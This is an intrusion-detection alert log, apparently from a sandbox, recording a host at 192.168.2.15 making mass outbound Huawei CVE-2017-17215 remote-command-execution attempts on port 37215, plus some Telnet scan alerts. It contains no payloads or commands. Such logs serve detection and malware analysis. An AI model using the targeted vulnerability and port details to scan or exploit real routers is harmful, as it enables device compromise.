2024-07-26T17:42:22.937307+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41060	37215	192.168.2.15	157.205.139.180
2024-07-26T17:42:35.406784+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33718	37215	192.168.2.15	197.244.230.30
2024-07-26T17:42:03.752024+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46796	37215	192.168.2.15	157.191.156.69
2024-07-26T17:43:32.177733+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60384	37215	192.168.2.15	41.237.132.121
2024-07-26T17:42:23.000803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35146	37215	192.168.2.15	192.123.227.88
2024-07-26T17:42:24.208270+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43150	37215	192.168.2.15	14.64.173.32
2024-07-26T17:42:24.313201+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46342	37215	192.168.2.15	157.141.168.114
2024-07-26T17:42:56.300032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56566	37215	192.168.2.15	197.65.6.235
2024-07-26T17:42:42.068020+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60248	37215	192.168.2.15	41.62.161.142
2024-07-26T17:43:02.583024+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38974	37215	192.168.2.15	36.6.249.246
2024-07-26T17:43:10.506477+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43612	37215	192.168.2.15	197.83.6.23
2024-07-26T17:42:48.050350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56112	37215	192.168.2.15	157.120.85.255
2024-07-26T17:43:10.504855+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34064	37215	192.168.2.15	197.142.126.134
2024-07-26T17:42:40.525022+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43882	37215	192.168.2.15	41.31.199.209
2024-07-26T17:42:05.370024+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47970	37215	192.168.2.15	41.79.95.86
2024-07-26T17:42:22.851139+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45972	37215	192.168.2.15	41.113.87.213
2024-07-26T17:42:22.852370+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45884	37215	192.168.2.15	157.19.62.113
2024-07-26T17:42:22.895905+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48610	37215	192.168.2.15	197.96.107.38
2024-07-26T17:42:24.297382+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35352	37215	192.168.2.15	41.81.115.15
2024-07-26T17:42:23.237998+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40810	37215	192.168.2.15	157.6.148.23
2024-07-26T17:42:27.005428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54018	37215	192.168.2.15	41.69.7.86
2024-07-26T17:42:24.473493+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50358	37215	192.168.2.15	41.233.87.97
2024-07-26T17:43:24.574254+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39382	37215	192.168.2.15	197.86.174.115
2024-07-26T17:42:23.254755+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60700	37215	192.168.2.15	213.97.112.105
2024-07-26T17:43:24.496351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55718	37215	192.168.2.15	38.149.135.151
2024-07-26T17:42:03.751817+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52262	37215	192.168.2.15	157.26.41.8
2024-07-26T17:42:33.101565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44458	37215	192.168.2.15	157.28.73.187
2024-07-26T17:42:22.846961+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55860	37215	192.168.2.15	41.167.142.160
2024-07-26T17:42:22.848710+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35202	37215	192.168.2.15	197.174.75.69
2024-07-26T17:42:23.166545+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47378	37215	192.168.2.15	157.237.142.35
2024-07-26T17:42:52.054806+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54652	37215	192.168.2.15	41.151.142.201
2024-07-26T17:42:24.301858+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51974	37215	192.168.2.15	197.219.122.85
2024-07-26T17:42:52.052546+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35598	37215	192.168.2.15	197.57.135.146
2024-07-26T17:42:22.895360+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48270	37215	192.168.2.15	157.160.10.123
2024-07-26T17:42:24.313541+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40582	37215	192.168.2.15	84.34.46.1
2024-07-26T17:42:24.287840+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35734	37215	192.168.2.15	197.180.119.91
2024-07-26T17:42:24.320501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42592	37215	192.168.2.15	197.119.114.214
2024-07-26T17:43:21.683970+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48170	37215	192.168.2.15	41.186.224.225
2024-07-26T17:42:23.005059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54740	37215	192.168.2.15	48.151.70.89
2024-07-26T17:42:30.926552+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59856	37215	192.168.2.15	41.157.133.12
2024-07-26T17:42:35.410112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35322	37215	192.168.2.15	197.35.74.102
2024-07-26T17:42:52.053910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42942	37215	192.168.2.15	198.182.2.219
2024-07-26T17:42:58.931073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54164	37215	192.168.2.15	197.190.72.108
2024-07-26T17:42:44.179097+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43788	37215	192.168.2.15	157.54.9.247
2024-07-26T17:43:24.744358+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48634	37215	192.168.2.15	157.102.218.128
2024-07-26T17:42:23.602194+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37064	37215	192.168.2.15	41.64.35.71
2024-07-26T17:42:24.222003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51200	37215	192.168.2.15	197.119.249.158
2024-07-26T17:42:56.988461+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51390	37215	192.168.2.15	41.92.132.216
2024-07-26T17:43:22.213085+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57726	37215	192.168.2.15	197.102.234.79
2024-07-26T17:42:27.582928+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45830	37215	192.168.2.15	197.204.149.101
2024-07-26T17:42:56.988504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50774	37215	192.168.2.15	157.172.196.209
2024-07-26T17:42:24.319648+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38686	37215	192.168.2.15	155.192.202.50
2024-07-26T17:42:35.371726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39814	37215	192.168.2.15	197.65.200.155
2024-07-26T17:42:23.195579+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49120	37215	192.168.2.15	41.210.89.60
2024-07-26T17:43:27.099046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43852	37215	192.168.2.15	36.203.22.43
2024-07-26T17:42:40.508090+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49088	37215	192.168.2.15	157.97.33.171
2024-07-26T17:42:56.991958+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53050	37215	192.168.2.15	221.102.213.196
2024-07-26T17:43:24.298927+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33294	37215	192.168.2.15	153.193.64.22
2024-07-26T17:42:24.287665+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50306	37215	192.168.2.15	41.178.84.90
2024-07-26T17:42:58.931120+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60732	37215	192.168.2.15	2.119.122.128
2024-07-26T17:42:32.927164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54384	37215	192.168.2.15	157.35.94.210
2024-07-26T17:42:25.612220+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40130	37215	192.168.2.15	197.173.151.163
2024-07-26T17:42:02.255120+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38458	37215	192.168.2.15	41.242.228.108
2024-07-26T17:42:22.977009+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43790	37215	192.168.2.15	41.11.65.133
2024-07-26T17:42:40.406693+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44016	37215	192.168.2.15	99.20.86.61
2024-07-26T17:43:00.592506+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36918	37215	192.168.2.15	41.120.92.208
2024-07-26T17:42:23.661028+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59606	37215	192.168.2.15	41.55.10.170
2024-07-26T17:42:25.520747+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53874	37215	192.168.2.15	157.63.65.79
2024-07-26T17:42:38.391929+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34044	37215	192.168.2.15	119.41.119.182
2024-07-26T17:43:32.177267+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53598	37215	192.168.2.15	197.64.226.235
2024-07-26T17:42:41.972935+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38070	37215	192.168.2.15	178.158.124.246
2024-07-26T17:42:03.751901+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48914	37215	192.168.2.15	197.1.156.179
2024-07-26T17:42:35.410237+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35768	37215	192.168.2.15	81.231.93.24
2024-07-26T17:43:32.377075+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44814	37215	192.168.2.15	204.150.224.202
2024-07-26T17:42:03.752072+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39956	37215	192.168.2.15	97.254.79.70
2024-07-26T17:42:27.003890+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57184	37215	192.168.2.15	41.163.124.3
2024-07-26T17:43:32.158441+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60644	37215	192.168.2.15	18.125.183.67
2024-07-26T17:42:54.301870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48758	37215	192.168.2.15	157.120.247.163
2024-07-26T17:43:10.501151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58518	37215	192.168.2.15	41.125.60.232
2024-07-26T17:42:24.256757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42792	37215	192.168.2.15	197.121.253.62
2024-07-26T17:42:23.275312+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40324	37215	192.168.2.15	126.255.146.247
2024-07-26T17:43:10.502982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46258	37215	192.168.2.15	197.75.88.164
2024-07-26T17:42:22.975556+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51144	37215	192.168.2.15	41.208.106.86
2024-07-26T17:42:16.209335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48216	37215	192.168.2.15	41.42.124.202
2024-07-26T17:42:03.751815+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38118	37215	192.168.2.15	71.49.207.63
2024-07-26T17:42:32.923783+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46824	37215	192.168.2.15	197.50.214.20
2024-07-26T17:42:38.336979+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51146	37215	192.168.2.15	157.105.178.182
2024-07-26T17:43:10.504314+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45738	37215	192.168.2.15	157.27.21.97
2024-07-26T17:42:24.316412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44786	37215	192.168.2.15	157.61.123.126
2024-07-26T17:42:22.860163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60248	37215	192.168.2.15	197.116.207.198
2024-07-26T17:42:24.256374+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59548	37215	192.168.2.15	41.134.228.22
2024-07-26T17:42:22.937919+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51760	37215	192.168.2.15	192.17.125.10
2024-07-26T17:42:24.287930+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43448	37215	192.168.2.15	41.75.245.73
2024-07-26T17:43:32.302811+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58996	37215	192.168.2.15	157.1.195.42
2024-07-26T17:42:23.545190+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39856	37215	192.168.2.15	157.87.177.118
2024-07-26T17:43:12.149134+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58294	37215	192.168.2.15	146.76.68.31
2024-07-26T17:42:04.890855+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58180	37215	192.168.2.15	107.181.49.106
2024-07-26T17:42:22.851209+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48448	37215	192.168.2.15	61.22.190.108
2024-07-26T17:42:23.045155+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51376	37215	192.168.2.15	2.38.61.27
2024-07-26T17:42:23.195780+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53334	37215	192.168.2.15	197.151.238.8
2024-07-26T17:42:24.485053+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50588	37215	192.168.2.15	197.93.43.13
2024-07-26T17:42:03.751950+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52678	37215	192.168.2.15	41.248.110.12
2024-07-26T17:42:23.159195+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56174	37215	192.168.2.15	157.63.211.250
2024-07-26T17:43:00.381780+0200	TCP	2008230	ET SCAN Behavioral Unusually fast outbound Telnet Connections, Potential Scan or Brute Force	59728	23	192.168.2.15	44.17.242.63
2024-07-26T17:42:03.752078+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46410	37215	192.168.2.15	197.132.184.94
2024-07-26T17:43:34.316507+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37604	37215	192.168.2.15	195.140.93.82
2024-07-26T17:42:03.751909+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40288	37215	192.168.2.15	52.37.40.88
2024-07-26T17:43:02.605212+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50232	37215	192.168.2.15	197.234.180.170
2024-07-26T17:43:34.311470+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47850	37215	192.168.2.15	157.245.32.35
2024-07-26T17:42:22.866774+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51484	37215	192.168.2.15	197.130.107.44
2024-07-26T17:43:32.175180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52136	37215	192.168.2.15	197.92.59.10
2024-07-26T17:43:10.506106+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43070	37215	192.168.2.15	157.106.151.177
2024-07-26T17:42:46.315845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56736	37215	192.168.2.15	41.116.40.233
2024-07-26T17:42:40.393104+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50290	37215	192.168.2.15	157.13.60.238
2024-07-26T17:42:22.988596+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45118	37215	192.168.2.15	157.94.4.152
2024-07-26T17:42:24.228000+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33256	37215	192.168.2.15	157.122.19.30
2024-07-26T17:42:51.609205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39730	37215	192.168.2.15	41.160.14.148
2024-07-26T17:42:52.052390+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38158	37215	192.168.2.15	197.140.108.246
2024-07-26T17:43:06.886909+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57356	37215	192.168.2.15	39.65.67.108
2024-07-26T17:42:00.341021+0200	TCP	2008230	ET SCAN Behavioral Unusually fast outbound Telnet Connections, Potential Scan or Brute Force	13638	23	192.168.2.15	32.112.195.224
2024-07-26T17:42:24.803633+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52288	37215	192.168.2.15	41.167.188.118
2024-07-26T17:42:38.336981+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54634	37215	192.168.2.15	197.41.70.190
2024-07-26T17:42:38.393500+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58204	37215	192.168.2.15	197.246.189.242
2024-07-26T17:42:00.299767+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35614	37215	192.168.2.15	41.198.97.150
2024-07-26T17:43:10.501410+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51934	37215	192.168.2.15	157.146.158.60
2024-07-26T17:42:23.591388+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55052	37215	192.168.2.15	197.157.241.85
2024-07-26T17:42:24.287799+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40974	37215	192.168.2.15	153.180.1.96
2024-07-26T17:43:00.563591+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34452	37215	192.168.2.15	93.92.209.138
2024-07-26T17:42:24.297544+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45464	37215	192.168.2.15	41.208.134.218
2024-07-26T17:42:24.463324+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41628	37215	192.168.2.15	41.98.155.52
2024-07-26T17:42:22.893675+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57192	37215	192.168.2.15	217.255.162.157
2024-07-26T17:42:38.375828+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41572	37215	192.168.2.15	41.221.94.239
2024-07-26T17:42:54.174469+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57340	37215	192.168.2.15	197.34.208.24
2024-07-26T17:42:35.406729+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41346	37215	192.168.2.15	157.178.116.233
2024-07-26T17:42:03.751947+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45872	37215	192.168.2.15	41.129.68.49
2024-07-26T17:42:22.812855+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48976	37215	192.168.2.15	157.157.132.237
2024-07-26T17:42:22.853896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37094	37215	192.168.2.15	197.255.12.216
2024-07-26T17:42:38.336977+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40692	37215	192.168.2.15	197.117.124.176
2024-07-26T17:42:56.988818+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36470	37215	192.168.2.15	197.94.183.214
2024-07-26T17:43:00.506913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54954	37215	192.168.2.15	41.126.190.106
2024-07-26T17:42:24.454733+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45774	37215	192.168.2.15	157.105.86.72
2024-07-26T17:43:06.797400+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38180	37215	192.168.2.15	211.48.92.231
2024-07-26T17:42:23.616440+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38512	37215	192.168.2.15	157.35.116.97
2024-07-26T17:42:51.608904+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45206	37215	192.168.2.15	157.205.52.253
2024-07-26T17:43:21.678989+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34350	37215	192.168.2.15	157.90.200.178
2024-07-26T17:42:27.586204+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54582	37215	192.168.2.15	197.140.206.190
2024-07-26T17:43:24.357902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40668	37215	192.168.2.15	68.45.142.254
2024-07-26T17:42:38.401646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36440	37215	192.168.2.15	197.21.204.251
2024-07-26T17:42:54.101696+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52118	37215	192.168.2.15	157.93.60.103
2024-07-26T17:42:23.237927+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44838	37215	192.168.2.15	157.67.97.71
2024-07-26T17:42:30.815681+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47692	37215	192.168.2.15	41.6.18.203
2024-07-26T17:42:22.970194+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47498	37215	192.168.2.15	197.39.222.54
2024-07-26T17:43:00.441812+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48398	37215	192.168.2.15	157.157.191.230
2024-07-26T17:42:23.617803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60478	37215	192.168.2.15	41.229.153.155
2024-07-26T17:43:10.648359+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57998	37215	192.168.2.15	197.224.231.189
2024-07-26T17:42:22.985864+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45838	37215	192.168.2.15	197.230.227.35
2024-07-26T17:42:22.879542+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54202	37215	192.168.2.15	197.76.235.85
2024-07-26T17:43:32.380501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33682	37215	192.168.2.15	197.93.156.144
2024-07-26T17:42:44.271157+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40282	37215	192.168.2.15	41.71.10.243
2024-07-26T17:42:44.231489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36950	37215	192.168.2.15	157.121.172.96
2024-07-26T17:43:16.840046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58144	37215	192.168.2.15	157.61.56.236
2024-07-26T17:42:24.521300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47268	37215	192.168.2.15	197.100.159.198
2024-07-26T17:42:56.990565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46396	37215	192.168.2.15	222.110.5.133
2024-07-26T17:42:22.943465+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51934	37215	192.168.2.15	23.147.182.187
2024-07-26T17:42:45.304300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50628	37215	192.168.2.15	126.206.120.7
2024-07-26T17:42:23.056769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60020	37215	192.168.2.15	163.157.201.25
